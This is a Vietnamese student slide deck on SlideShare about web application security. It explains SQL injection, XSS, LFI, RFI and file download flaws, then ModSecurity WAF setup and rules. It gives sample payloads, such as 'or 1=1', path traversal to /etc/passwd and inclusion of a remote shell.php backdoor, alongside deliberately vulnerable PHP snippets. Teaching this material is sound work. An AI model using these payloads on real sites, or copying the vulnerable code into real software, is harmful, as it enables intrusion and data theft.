SlideShare a Scribd company logo
WEB APPLICATION SECURITY
Author: Nguyễn Trường Phú – Nguyễn Tuấn Anh
Date: 1-5-2015
ABOUT AUTHOR
• Name: Nguyễn Tuấn Anh
Nguyễn Trường Phú
• Class: 23CCAN04
• Unit: An toàn ứng dụng
CONTENT
1. Web application attack and defense
2. Modsecurity (mod_sec)
Web Application
attack and Defense
Web Application Security
Nền tảng Website phổ biến:
• Apache (httpd)
• Nginx
• IIS
• Apache Tomcat
• PHP
• ASPX (ASP.NET)
• JSP + Servlet (JAVA)
• HTML + CSS / HTML5 + CSS3
• Javascript / Jquery
Client – Side
Server - Side
• MySQL
• MariaDB
• MongoDB
• MemSQL
• Access
• SQLserver
• MSSQL
• ……..
+ +
Web services: Databases:Languages:
Web Application Security
1 Website có thể bị tấn công như thế nào?
• Thông qua Authencation (Các hình thức tấn công vào mật khẩu, giao thức mã hoá, hình thức chứng thực,…)
• Thông qua Session, Transport,…. (Các hình thức tấn công qua bảo mật đường truyền bao gồm cả MITM)
• Thông qua Lổ hổng Web Application
• Thông qua Lổ hổng OS (Đặc biệt nhiều đối với Windows và khá ít đối với Linux)
• Thông qua Server Application/Software (Lổ hổng các service/software khác trên server: Mail, browser,adobe,java,…)
• Thông qua Mã độc hoặc Backdoor được thiết lập từ trước
• Thông qua các hình thức tấn công từ chối dịch vụ (DoS, DDoS, DRDoS, Spam, …..)
• Thông qua Crawler hoặc các kẻ hở trong configure và quản lý (lổ hổng phân quyền, lộ tập tin, đường dẫn nhạy cảm,…
• Thông qua Tấn công vật lý
• Thông qua tâm lý con người (Social)
Web Application Security
Lổ hổng Web Application
1. Injection (SQLi, LDAPi, OS command injection,…)
2. Cross Site Scripting (XSS)
3. Broken Authentication and Session Management (Nguy cơ về quản lý phiên/session)
4. Insecure Direct Object References (Các lổ hổng trong tham chiếu)
5. Cross Site Request Forgery (CSRF)
6. Security Misconfiguration (Lổ hổng trong cấu hình, triển khai dịch vụ web,…)
7. Insecure Cryptographic Storage (Lổ hổng trong mã hoá dữ liệu nhạy cảm)
8. Failure to Restrict URL Access (Các lổ hổng quyền hạn truy cập url nhạy cảm)
9. Insufficient Transport Layer Protection (Lổ hổng đường truyền)
10. Unvalidated Redirects and Forwards (Các lổ hổng chuyển hướng)
10 quy chuẩn bảo mật và cũng là 10 phân nhóm lỗ hổng bảo mật ứng dụng web theo OWASP 2010.
Web Application Security
Ví dụ về 1 số hình thức tấn công Web Application phổ biến:
• SQL injection (SQLi)
• Cross Site Scripting (XSS)
• Local File Inclusion (LFI)
• Remote File Inclusion (RFI)
• Local File Discluse/Download (LFD)
• …..
Web Application Security
Định nghĩa:
1. SQL injection
SQL injection (SQLi) là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ
hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông
báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các
câu lệnh SQL bất hợp pháp
Web Application Security
Ví dụ:
1. SQL injection
Truy cập chuyên mục SQL trên ceh.vn thấy URL có dạng: http://ceh.vn /index.php?page=SQl
 Câu truy vấn CSDL có dạng: “SELECT * FROM chuyenmuc WHERE tenchuyenmuc =“ + $page
Trong đó có thể $page=$_GET(‘tenpage’)
Attacker cố tình truy vấn trên URL: http://ceh.vn /index.php?page=SQl or 1=1
 Câu truy vấn CSDL có dạng: SELECT * FROM chuyenmuc WHERE tenchuyenmuc=SQl or 1=1
Ta thấy vì 1=1 luôn đúng nên truy vấn trả lại tất cả những thông tin có trong bảng chuyenmuc
 Thông tin bị khai thác => Lỗi.
Attacker có thể thực hiện truy vấn phức tạp hơn, truy vấn các cột, trường, thông tin quan trọng hơn.
Web Application Security
Định nghĩa:
2. XSS
XSS xuất hiện khi một ứng dụng web cho phép người dùng nhập các dữ liệu vào mà
không thông qua kiểm duyệt nội dung, những dữ liệu này sẽ tương tác trực tiếp với
những người dùng khác cùng sử dụng website. Nguy cơ tạo ra là hacker có thể
chèn các mã kịch bản như HTML, Javascript… (client side) nhằm ăn cắp
SessionCookie, thay đổi giao diện (deface) hoặc chuyển hướng đến trang có mã
độc khác.
Web Application Security
Định nghĩa:
2. XSS
Web Application Security
Ví dụ:
2. XSS
if(!empty($_GET['name']))
{
$name=$_GET['name'];
print $name;
} else {
Code lây $name trực tiếp từ giá trị khung name và in ra thẳng:
Khi attacker không truy vấn bình thường mà inject mã javascript
vào khung name  Truyền
giá trị trực tiếp cho biến name:
<script>alert(“Crazykid”)</script>
Lúc này được javascript được gán cho biến name và in ra
Như một câu lệnh chứ không phải là 1 truy vấn bình thường
 đoạn javascript độc hại của attacker được thực thi
Web Application Security
Định nghĩa:
3. LFI
Lỗ hổng cho phép các attacker có thể truy vấn các tập tin nhạy cảm trên
web server và đọc được
Nội dung các tập tin đó. Ví dụ các tập tin nhạy cảm: /etc/passwd,
/etc/shadow, httpd.conf,……
Web Application Security
Ví dụ:
3. LFI
Truy cập chuyên mục SQL trên ceh.vn thấy URL có dạng: http://ceh.vn /index.php?page=SQl
 Nếu code trang view có dạng:
<?php
$Bien=$_GET[‘page’];
Include $Bien; ?>
Attacker cố tình truy vấn trên URL: http://ceh.vn /index.php?page=../../../etc/passwd
 Lúc này trở thành giống như là ta code như sau:
<?php
$Bien=$_GET[‘page’];
Include ../../../etc/passwd; ?>
 Attacker có thể đọc được nội dung của tập tin passwd trong đường dẫn ../../etc/ trên server
ngay chính tại trang view.
Chú ý ../ là chuyển lên một thư mục trong Linux. Nếu server windows thì dung ..  URL lencode = %5C
Web Application Security
Định nghĩa:
3. RFI
Cho phép attack gọi đến một file trên web server hoặc trên server khác ngay tại web
server này.
Ví dụ:
http://ceh.vn/page?=http://www.vietnamnet.vn
Nếu ceh.vn bị lỗi RFI thì nội dung trang vietnamnet.vn sẽ hiển hị trên ceh.vn
Nếu attacker đặt backdoor trên vietnamnet.vn dạng:
http://www.vietnamnet.vn/shell.php
Tại ceh.vn attacker truy vấn: http://ceh.vn/page?=www.vietnamnet.vn/shell.php
Thì nội dung backdoor shell.php sẽ được include vào source code của ceh.vn  ta cắm
backdoor trưc tiếp trên ceh.vn
Web Application Security
Ví dụ:
3. RFI
Code:
<?php
$test=$_GET['test'];
include $test.'id=1';
?>
Và register_globals = off
http://xx.xx.xx.xx/CEH/RFI/3test.php?test=http://ceh.vn/shell.txt
Input:
Out:
Web Application Security
Định nghĩa:
3. LFD
Giống LFI nhưng thay vì attacker có thể đọc các file nhạy cảm thì ở đây attacker có thể
Download các file nhạy cảm về máy
Web Application Security
Ví dụ:
3. LFD
Đoạn code sau:
<?php
$test=$_GET['test'];
readfile($test);
?>
Hàm readfile() cho phép chúng ta đọc code file được truyền vào .
http://ceh.vn/CEH/3LFD/1lfd.php?test=/etc/passwd
Web Application Security
Phát hiện, kiểm tra các lổ hổng Web Application:
• Ở vị trí attacker tấn công Opensource hoặc ở vị trị quản trị/chuyên gia an ninh kiểm thử Whitehat:
Đọc source code, Debug Source code tìm lổ hổng.
• Tấn công CloseSource, Đa số, kiểm thử Blackbox:
 Sử dụng phương pháp thủ công
Phương pháp Fuzzer vào các input
(Nhập vào chuỗi ký tự ngẫu nhiên hoặc có mục địch nhằm xác định lổ hổng)
Ví dụ: Thêm vào URL, khung Search, Login,… các câu truy vấn, thay đổi method, tiêm vô số ký tự,…
 Sử dụng phương pháp tự động
Sử dụng các công cụ Scan, tìm kiếm lổ hổng
Ví dụ:
OpenSource: W3AF, Paros (Andiparos và Zed attack Proxy), Skipfish, Grabber, Zero Day Scan,…
CloseSource: Acunetix, N-stalker, NeXpose, Retina, AppScan, ParosPro, ….
Web Application Security
Giải pháp Web Application Security:
• An Toàn Source code: Fix lổ hổng trong source code. Đưa ra 1 số hàm lọc, Security phù hợp
• Authencation: Áp dụng các hình thức mã hoá, chứng thực phù hợp (Kể cả mã hoá đường
truyền (SSL, TLS,…))
• Đảm bảo toàn vẹn dữ liệu
• Permission: Phân quyền tập tin source code web, tập tin quan trọng server, quản trị
web,…phù hợp
• Nâng cao kiến thức quản trị viên, tâm lý con người.
• Thủ thuật riêng (Tuỳ kinh nghiệm mỗi quản trị viên): Giả lập patch web home, Giấu Configure
file, tạo bẫy (honeypot), thiết lập php.ini phù hợp, lợi dụng mod rewirte, ……..
• Sử dụng Web Application Firewall
Web Application Security
Tại sao cần Web Application Firewall?
Nếu 1 Server chứa hàng trăm website  Việc Fix code từng website sẽ gây tốn kém tiền bạc, thời gian,
Vô tình bỏ sót lổ hổng hoặc tạo phản ứng ngược nếu đội ngũ Fix Code trình độ yếu, cần một lớp gia cố
Chắn chắn bên ngoài
Web Application Firewall: Nhanh, Tiết kiệm chi phí, công sức, hiệu quả lớn,
nhiều tính năng mở rộng, Quản trị tập trung, …. Và còn nhiều lợi ích khác
Web Application Security
Tại sao dùng Web Application khi có Firewall thông thường?
Bởi vì ta cần những thứ firewall thông thường không có hoặc không được thiết kế với mục đích:
Hoạt động và bảo vệ mạnh mẽ Layer 7, chống các cuộc tấn công layer 7.
Phân tích, lọc, kiểm duyệt, thậm chí sửa đổi mạnh mẽ không chỉ header mà còn cả Request body,
Request Response, được thiết kế để phù hợp với từng ứng dụng web, từng hệ thống web,
Buffer các request/response để đảm bảo phân tích toàn diện vào bảo vệ tốt ứng dụng trong thời gian
Thực
Một số sản phẩm WAF cung cấp nhiều tính năng mở rộng như: Kiểm soát Cookies, Fake port,
Fake Comment, Fake Compoment, …….
Web Application Security
Sơ đồ triển khai hệ thống đề nghị (Chỉ đối với 1 hệ thống Web server)
Web
Server
Database
Server
Reverse
Proxy
-----
WAF
(mod_sec)
User
Chú ý: WAF (Trong bài này là Mod_sec) và các luật chính của firewall tầng dưới sẽ triển khai tại Reverse
Proxy. 1 Reverse Proxy có thể triển khai với nhiều Web Server. Tuỳ nhu cầu và điều kiện + Độ quan trọng
Của DB mà triển khai Database riêng như mô hình hay để DB ngay tại Webserver còn Database triển
Khai như một Server AD Backup hoặc gỡ bỏ để tiết kiệm chi phí.
Web Application Security
Một vài thắc mắc:
Tại sao triển khai WAF trên Reverse Proxy?
 Để bảo toàn Web Server và các Server bên trong khi cuộc tấn công nặng nề. Attacker tiếp xúc trực
Tiếp với reverse proxy.
 Giảm thiểu tài nguyên tiêu tốn cho Web server vì các WAF cần 1 lượng tài nguyên không nhỏ.
 WAF cũng có thể kiểm soát tài nguyên tĩnh được Caching trên Reverse Proxy (HTML, CSS,…)
Một số lời khuyên:
Triển khai Reverse proxy với Nginx hoặc Apache (khuyên dùng Nginx vì độ chịu tải và caching)
Có thể sử dụng Linux cho các server, Nếu sử dụng Linux cho các Server thì khuyên dùng firewall
Application: modsecurity và Firewall tầng dưới dùng Iptables, lý do: Free, Mạnh mẽ, tuỳ biến mạnh,
Modsecurity và Iptables có thể kết hợp với nhau hoàn hảo, Modsecurity có thể ra lệnh cho iptables
Thực hiện các action khi cần thiết thông qua module hỗ trợ.
Web Application Security
ModSecurity
Web Application Security
Modsecurity
Modsecurity (mod_Sec) là gì?
• Một Web Application Firewall (WAF)
• Được triển khai như là một Module của các web service
• Opensource, Có thể mở rộng và miễn phí
chỉ trả tiền nếu muốn có dịch vụ hỗ trợ
Web Application Security
Modsecurity
Hoạt động ra sao?
Kiểm soát chặt chẽ hoạt động của web server trên layer 7. Ghi log. Hành động theo luật
Web
Response
Body
Request
Header
Response
Header
Logging
Request
Body
Web Application Security
Modsecurity
Hoạt động ra sao?
Modsecurity có thể kiểm soát request và reponse trong cả header và body, nếu phát hiện các dấu
Hiệu tấn công theo rules, Mod_sec sẽ thực hiện hoạt động đã được định sẵn theo từng Rules và ghi
Logs lại các hành động đó
Ví dụ: Phát triện trong Url truy vấn có ký tự () thì lập tức DROP.
Ngoài ra Mod_sec còn có thể tạo hoặc chỉnh sửa các Request và Reponse.
Web Application Security
Modsecurity
Triển khai Mod_sec
(thực hiện triển khai trên Server Centos, Web service: apache)
Yêu cầu:
• Apache 2.2x hoặc các phiên bản sau
• Libapr và Libapr-util
• Libpcre
• Liblua v1.5x hoặc các phiên bản sau này
• Module Mod_unique_id của apache phải được bật
Web Application Security
Modsecurity
Triển khai Mod_sec
(thực hiện triển khai trên Server Centos, Web service: apache)
Cài đặt
• Download source Mod_sec tại trang chủ
• Tạm dừng Apache
• Biên dịch và cài đặt Mod_sec
• Load module mod_sec trong file cấu hình apache
Lưu ý: trước khi biên dịch hãy cài trình biên dịch. Đối với Centos: yum groupinstall “Development Tools”
Web Application Security
Modsecurity
Triển khai Mod_sec
(thực hiện triển khai trên Server Centos, Web service: apache)
Tạo tập tin config mod_sec ví dụ modsec.conf và include tập tin này trong file cấu hình apache
Tạo tập tin chứa rules cho Mod_sec ví dụ rulesmod.conf
Trong tập tin modsec.conf ta gõ:
<IfModule mod_security2.c>
SecRuleEngine On
SeDefaultAction
“phase:1,deny,log,status:406,id:60008”
Include “/etc/httpd/conf.d/rulesmod.conf”
</IfModule>
Khởi động Apache.
Sẽ giải thích rõ từng dòng khi Demo.
Web Application Security
Modsecurity
Triển khai Mod_sec
(thực hiện triển khai trên Server Centos, Web service: apache)
Tạo tập tin config mod_sec ví dụ modsec.conf và include tập tin này trong file cấu hình apache
Tạo tập tin chứa rules cho Mod_sec ví dụ rulesmod.conf
Trong tập tin modsec.conf ta gõ:
<IfModule mod_security2.c>
SecRuleEngine On
SeDefaultAction
“phase:1,deny,log,status:406,id:60008”
Include “/etc/httpd/conf.d/rulesmod.conf”
</IfModule>
Khởi động Apache.
Sẽ giải thích rõ chức năng từng dòng khi Demo.
Web Application Security
Modsecurity
Lỗi thường gặp khi cài mod_sec và giải pháp
(thực hiện triển khai trên Server Centos, Web service: apache)
mlogc.c:32:23: error: curl/curl.h: No such file or directory
mlogc.c:2232: error: âCURL_GLOBAL_ALLâ undeclared (first
use in this function)
make[2]: *** [mlogc-mlogc.o] Error 1
make[2]: Leaving directory `/usr/src/modsecurity-
apache_2.6.0/mlogc'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/usr/src/modsecurity-
apache_2.6.0'
make: *** [all] Error 2
Giải pháp: Cài curl và curl-devel sử dụng lệnh: yum install curl*
Sau khi cài xong, xoá Makefile và biên dịch lại.
Web Application Security
Modsecurity
Cấu trúc Rules Mod_sec
(thực hiện triển khai trên Server Centos, Web service: apache)
SecRule VARIABLES OPERATOR [ACTIONS]
VARIABLE: (WHERE?) Vị trí So sánh
OPERATOR : (HOW?) Dấu hiệu căn cứ để so sánh
[ACTIONS]: (WHAT?) Xử lý ra sao
Trong đó:
Web Application Security
Modsecurity
Ví dụ:
(thực hiện triển khai trên Server Centos, Web service: apache)
SecRule ARGS kid
SecRule ARGS|REQUEST_HEADERS:User-Agent kid
SecRule HTTP_Referer “www.google.com”
SecRule ARGS "unions+select" "deny,msg:'SQL Injection'"
SecRule ARGS "unions+alls+select" "deny,msg:'SQL Injection'"
SecRule ARGS "drops+table" "deny,msg:'SQL Injection'"
SecRule ARGS "selects+*" "deny,msg:'SQL "
Sẽ giải thích từng dòng rules khi Demo
Web Application Security
Modsecurity
Các thành phân trong rule mod_sec:
(thực hiện triển khai trên Server Centos, Web service: apache)
VARIABLE: (WHERE?) Vị trí So sánh
Web Application Security
Modsecurity
Các thành phân trong rule mod_sec:
(thực hiện triển khai trên Server Centos, Web service: apache)
OPERATOR : (HOW?) Dấu hiệu căn cứ để so sánh
• So sánh theo chuỗi thường
• So sánh theo toán tử
Ví dụ so sánh toán tử:
SecRule ARGS "!@rx ^CrazyKid$"
Web Application Security
Modsecurity
Các thành phân trong rule mod_sec:
(thực hiện triển khai trên Server Centos, Web service: apache)
ModSecurity hỗ trợ 4 nhóm OPERATOR:
• String–matching operators //so khớp string dùng toán tử
• Numerical operators // So sánh số
• Validation operators // Một vài toán tử đặc biệt so sánh các giá trị đặc biệt
(XML, UTF-8,…)
• Miscellaneous operators // Các toán tử lọc. Dùng so sánh lộ thông tin CC,
lộ thông tin người dùng,….
Web Application Security
Modsecurity
Các thành phân trong rule mod_sec:
(thực hiện triển khai trên Server Centos, Web service: apache)
[ACTIONS]: (WHAT?) Xử lý ra sao
ModSecurity chia các action thành 7 phân mục:
• Disruptive actions
• Flow actions
• Metadata actions
• Variable actions
• Logging actions
• Special actions
• Miscellaneous Actions
Web Application Security
Modsecurity
Các thành phân trong rule mod_sec:
(thực hiện triển khai trên Server Centos, Web service: apache)
Ví dụ Disruptive actions:
- Nếu xử lý khi so khớp thông tin = True thì thực hiện:
+ Allow (cho phép)
+Block (khoá)
+Deny (chặn và gửi phản hồi)
+pass (cho qua luật tiếp theo)
+Drop (Loại bỏ và không phản hồi)
+Pause (Tạm dừng)
…..
Web Application Security
Modsecurity
Câu hỏi đặt ra:
Các quản trị viên không am hiểu Rules mod_sec có thể triển khai mod_sec một cách an toàn không?
Giải pháp trong trường hợp này:
CORE RULE SET (CRS)
Hạn chế: Core rules set là tập hợp rules được viết cho đại đa số người dùng chứ không phải một
Hệ thống cụ thể nào  Tính tuỳ biến, linh hoạt và bảo mật không đảm bảo bằng tự thiết kế rules
Web Application Security
Modsecurity
Một số tính năng mở rộng khác của Modsecurity
Fake port:
Web Application Security
Modsecurity
Một số tính năng mở rộng khác của Modsecurity
Fake robots.txt Disallow Entries
Web Application Security
Modsecurity
Một số tính năng mở rộng khác của Modsecurity
Fake hidden form fields
Web Application Security
Modsecurity
Một số tính năng mở rộng khác của Modsecurity
Làm chậm các công cụ scan lổ hổng tự động
Web Application Security
Modsecurity
Modsecurity Logs
Web Application Security
Modsecurity
Giải pháp Gui logs cho Modsecurity
Một số giải pháp nguồn mở
Cho việc monitor mod_sec
Bằng giao diện đồ hoạ:
Ví dụ: WAF-FLE
Web Application Security
Modsecurity
Và còn rất nhiều tính năng khác……
Web Application Security
Modsecurity
Demo
Q&A
THANK YOU

More Related Content

PDF
Security Bootcamp 2013 - OWASP TOP 10- 2013
PPTX
Owasp Top 10 A1: Injection
PPTX
Sql injections - with example
PPTX
Nhận diện những nguy cơ đe dọa an ninh mạng - Ms Nguyễn Ngọc Phương Mai
PPT
A Brief Introduction in SQL Injection
PPTX
SQL Injection
PPTX
Cross Site Scripting Defense Presentation
PDF
HTTP Security Headers
Security Bootcamp 2013 - OWASP TOP 10- 2013
Owasp Top 10 A1: Injection
Sql injections - with example
Nhận diện những nguy cơ đe dọa an ninh mạng - Ms Nguyễn Ngọc Phương Mai
A Brief Introduction in SQL Injection
SQL Injection
Cross Site Scripting Defense Presentation
HTTP Security Headers

What's hot (20)

PPTX
XSS & SQL injection
PPTX
Http request smuggling
PPTX
Waf bypassing Techniques
PPTX
Báo cáo SQL injecttion
PDF
OWASP Top 10 Web Application Vulnerabilities
PPT
Tim hieu ve lo hong web va cach phong chong
PDF
No Easy Breach DerbyCon 2016
PDF
Penetration testing web application web application (in) security
PPTX
Introduction XSS
PPT
Sql injection demo - it-slideshares.blogspot.com
PPT
XSS - Attacks & Defense
PPTX
Tấn công sql injection sử dụng câu lệnh select union
PDF
Ch 10: Hacking Web Servers
PPTX
Secure coding practices
PPTX
Cross Site Scripting: Prevention and Detection(XSS)
PDF
Cross site scripting attacks and defenses
PPTX
A2 - broken authentication and session management(OWASP thailand chapter Apri...
PPTX
Deep understanding on Cross-Site Scripting and SQL Injection
PDF
Sql Injection - Vulnerability and Security
PPT
Bypass file upload restrictions
XSS & SQL injection
Http request smuggling
Waf bypassing Techniques
Báo cáo SQL injecttion
OWASP Top 10 Web Application Vulnerabilities
Tim hieu ve lo hong web va cach phong chong
No Easy Breach DerbyCon 2016
Penetration testing web application web application (in) security
Introduction XSS
Sql injection demo - it-slideshares.blogspot.com
XSS - Attacks & Defense
Tấn công sql injection sử dụng câu lệnh select union
Ch 10: Hacking Web Servers
Secure coding practices
Cross Site Scripting: Prevention and Detection(XSS)
Cross site scripting attacks and defenses
A2 - broken authentication and session management(OWASP thailand chapter Apri...
Deep understanding on Cross-Site Scripting and SQL Injection
Sql Injection - Vulnerability and Security
Bypass file upload restrictions
Ad

Viewers also liked (15)

PDF
Brisk WebApp penetration tester
PDF
SBC 2012 - Windows Security (Lương Trung Thành)
PDF
59436013 tan-cong-va-bao-ve-he-thong-tocbatdat-i-train-com-vn
PDF
Basic Security Training day 1
PPTX
Network security monitoring (ELK)
PDF
Azuravani
PDF
Giao thức bảo mật SSL
PDF
AntoanbaomatQQQQQQQQQ
DOCX
Hướng dẫn cài đặt và cấu hình cacti trên cent os
PPTX
Sql injection
PPTX
SQL INJECTION
PPTX
Sql Injection attacks and prevention
PPTX
Slide Báo Cáo Cuối Kỳ
PPT
Sql injection
PPT
SINGLE SIGN ON (SSO) WITH SECURITY ASSERTION MAKUP LANGUAGE (SAML)
Brisk WebApp penetration tester
SBC 2012 - Windows Security (Lương Trung Thành)
59436013 tan-cong-va-bao-ve-he-thong-tocbatdat-i-train-com-vn
Basic Security Training day 1
Network security monitoring (ELK)
Azuravani
Giao thức bảo mật SSL
AntoanbaomatQQQQQQQQQ
Hướng dẫn cài đặt và cấu hình cacti trên cent os
Sql injection
SQL INJECTION
Sql Injection attacks and prevention
Slide Báo Cáo Cuối Kỳ
Sql injection
SINGLE SIGN ON (SSO) WITH SECURITY ASSERTION MAKUP LANGUAGE (SAML)
Ad

Similar to Web application-security (20)

PPTX
Bảo mật ứng dụng web
PDF
Bài giảng an toàn ứng dụng web và csdl PTIT
PDF
Bài giảng an toàn ứng dụng web và csdl PTIT
PDF
Đồ án thực tập cơ sở các kĩ thuật tấn công SQL injection và cách phòng chống
DOCX
báo cáo thực tập Athena - tuần1
PPTX
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
PPTX
Trung tâm đào tạo
PPT
Những lỗi bảo mật web thường gặp ở phần application
DOC
Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
PPTX
Kiểm thử bảo mật web
PDF
Tim hieu lo hong web va cach phong chong
PPTX
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
PPT
Dos web server it-slideshares.blogspot.com
PDF
Security Bootcamp 2013 owasp top 10- 2013
PPTX
Owasp top 10
DOC
Bao cao tttn an ninh web
PDF
Security Bootcamp 2012 - Bảo vệ Web App với Mod Security (Sử Hoàng Sơn)
DOC
Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng ...
PDF
Đề tài Tìm hiểu về an ninh mạng và kỹ thuật tấn công ứng dụng WEB
PDF
DauHoang-WebDBSecurity-Chuong 1 - Tong quan ve bao mat UD web.pdf
Bảo mật ứng dụng web
Bài giảng an toàn ứng dụng web và csdl PTIT
Bài giảng an toàn ứng dụng web và csdl PTIT
Đồ án thực tập cơ sở các kĩ thuật tấn công SQL injection và cách phòng chống
báo cáo thực tập Athena - tuần1
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
Trung tâm đào tạo
Những lỗi bảo mật web thường gặp ở phần application
Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application
Kiểm thử bảo mật web
Tim hieu lo hong web va cach phong chong
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Dos web server it-slideshares.blogspot.com
Security Bootcamp 2013 owasp top 10- 2013
Owasp top 10
Bao cao tttn an ninh web
Security Bootcamp 2012 - Bảo vệ Web App với Mod Security (Sử Hoàng Sơn)
Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng ...
Đề tài Tìm hiểu về an ninh mạng và kỹ thuật tấn công ứng dụng WEB
DauHoang-WebDBSecurity-Chuong 1 - Tong quan ve bao mat UD web.pdf

More from Visla Team (20)

PDF
CÔNG TY TBWA - BÁO CÁO CUỐI KHÓA
DOCX
Quảng Cáo của saatchi & saatchi
PDF
BÁO CÁO CUỐI KHÓA - MÔN QUẢNG CÁO weiden and kennedy
DOCX
PHÂN TÍCH CHIẾN DỊCH QUẢNG CÁO CỦA Ogilvy & Mather
DOCX
TỔNG HỢP CÁC CUỘC KHỦNG HOẢNG TRUYỀN THÔNG GẦN ĐÂY (2014)
PDF
BÁO CÁO CUỐI KHÓA – GOLDEN COMMUNICATION GROUP
DOCX
14 BUOC DE TRO THANH MOT NHA MOI GIOI BAT DONG SAN CHUYEN NGHIEP
PDF
CÓ NÊN THÔNG QUA MÔI GIỚI ĐỂ BÁN NHÀ HAY KHÔNG
PDF
TẠO DANH SÁCH BẤT ĐỘNG SẢN HIỆU QUẢ
PDF
BÁO CÁO NGOẠI KHÓA CHUYÊN NGÀNH MARKETING
DOCX
ẢNH HƯỞNG CỦA VĂN HÓA VIỆT NAM (CẤP ĐỘ CÁ NHÂN) ĐẾN HOẠT ĐỘNG CỦA CÁC DOAN...
DOCX
GIAO TIẾP KINH DOANH - KIỂM TRA - VĂN HÓA CÁC CHÂU LỤC, NƯỚC SẢN XUẤT VÀ MÃ V...
DOCX
NỘI DUNG ÔN THI MÔN GIAO TIẾP KINH DOANH
DOCX
TIEU CHUAN VA BI QUYET THANH CONG TRONG NGANH BAT DONG SAN
PPTX
QUẢN TRỊ RỦI RO - XUẤT KHẨU TRÁI CÂY NHIỆT ĐỚI QUA TRUNG QUỐC
PPTX
QUẢN TRỊ THƯƠNG HIỆU - DỰ ÁN KINH DOANH SON GẤC
DOCX
FIREWALL ATTACK AND DEFENCE
DOCX
GỐM SỨ MỸ NGHỆ - MÔ HÌNH KIM CƯƠNG MICHAEL PORTER
PPTX
EVENT - QUẢN TRỊ RỦI RO TRONG TỔ CHỨC SỰ KIỆN
DOCX
KINH TẾ QUỐC TẾ - ĐẤT HIẾM VÀ HẠN NGẠCH QUOTA
CÔNG TY TBWA - BÁO CÁO CUỐI KHÓA
Quảng Cáo của saatchi & saatchi
BÁO CÁO CUỐI KHÓA - MÔN QUẢNG CÁO weiden and kennedy
PHÂN TÍCH CHIẾN DỊCH QUẢNG CÁO CỦA Ogilvy & Mather
TỔNG HỢP CÁC CUỘC KHỦNG HOẢNG TRUYỀN THÔNG GẦN ĐÂY (2014)
BÁO CÁO CUỐI KHÓA – GOLDEN COMMUNICATION GROUP
14 BUOC DE TRO THANH MOT NHA MOI GIOI BAT DONG SAN CHUYEN NGHIEP
CÓ NÊN THÔNG QUA MÔI GIỚI ĐỂ BÁN NHÀ HAY KHÔNG
TẠO DANH SÁCH BẤT ĐỘNG SẢN HIỆU QUẢ
BÁO CÁO NGOẠI KHÓA CHUYÊN NGÀNH MARKETING
ẢNH HƯỞNG CỦA VĂN HÓA VIỆT NAM (CẤP ĐỘ CÁ NHÂN) ĐẾN HOẠT ĐỘNG CỦA CÁC DOAN...
GIAO TIẾP KINH DOANH - KIỂM TRA - VĂN HÓA CÁC CHÂU LỤC, NƯỚC SẢN XUẤT VÀ MÃ V...
NỘI DUNG ÔN THI MÔN GIAO TIẾP KINH DOANH
TIEU CHUAN VA BI QUYET THANH CONG TRONG NGANH BAT DONG SAN
QUẢN TRỊ RỦI RO - XUẤT KHẨU TRÁI CÂY NHIỆT ĐỚI QUA TRUNG QUỐC
QUẢN TRỊ THƯƠNG HIỆU - DỰ ÁN KINH DOANH SON GẤC
FIREWALL ATTACK AND DEFENCE
GỐM SỨ MỸ NGHỆ - MÔ HÌNH KIM CƯƠNG MICHAEL PORTER
EVENT - QUẢN TRỊ RỦI RO TRONG TỔ CHỨC SỰ KIỆN
KINH TẾ QUỐC TẾ - ĐẤT HIẾM VÀ HẠN NGẠCH QUOTA

Recently uploaded (20)

PDF
12894-44864-1-CE-1037-1038_Văn bản của bài báo.pdf
PPTX
Bài 9.4 TUYẾN SINH DỤC NAM VÀ NU CẤU TẠO VÀ CHỨC NĂNG
PDF
PHÁT TRIỂN NĂNG LỰC KHÁM PHÁ TỰ NHIÊN CHO HỌC SINH TRONG DẠY HỌC CHỦ ĐỀ VẬT S...
PPTX
14. thoát vị bẹn nghẹt bệnh học ngoại khoa.pptx
PDF
CHƯƠNG 1-P2: ĐẢNG CỘNG SẢN VIỆT NAM RA ĐỜI VÀ LÃNH ĐẠO ĐẤU TRANH GIÀNH CHÍNH ...
PDF
Quản trị sự kiện........................
PPTX
Vai trò vô cùng quan trọng để thuyết trình.pptx
PDF
CHUYÊN ĐỀ BỔ TRỢ NÂNG CAO DẠNG BÀI TẬP MỚI FORM 2025 - TIẾNG ANH 12 (TỜ RƠI Q...
PPTX
SLIDE BV CHÍNH THỨC LATSKH - note.pptx
PPTX
Chương 1 – Tổng quan về Cơ sở dữ liệu.pptx
PPTX
TIẾT 11. BÀI 32 DINH DƯỠNG VÀ TIÊU HÓA Ở NGƯỜI.pptx
PPTX
Chương 2 - Mô hình thực thể kết hợp.pptx
PDF
BÀI TẬP TEST BỔ TRỢ THEO TỪNG UNIT - TIẾNG ANH 10 GLOBAL SUCCESS - CẢ NĂM (30...
PPTX
Powerpoint cho Ke toan tai chinh KET307_Bai1_SV.pptx
PPT
Bài giảng Power Point 2003, hướng dẫn học tập
DOCX
Báo cáo thực tập công ty Ah-GlobalGroup vị trí Data Analyst
PPTX
Giáo án Lý Luận Chung về Hành chính Nhà nước cập nhật mới....
PPT
SINH 8 TUYẾN YÊN TUYẾN GIÁP CÂU TẠO VÀ CHỨC NĂNG
DOCX
Set menu 3 món rất hay và hiện đại dành cho người
DOCX
BÀI TIỂU LUẬN HẾT HỌC PHẦN MÔN ĐÁNH GIÁ TRONG GIÁO DỤC
12894-44864-1-CE-1037-1038_Văn bản của bài báo.pdf
Bài 9.4 TUYẾN SINH DỤC NAM VÀ NU CẤU TẠO VÀ CHỨC NĂNG
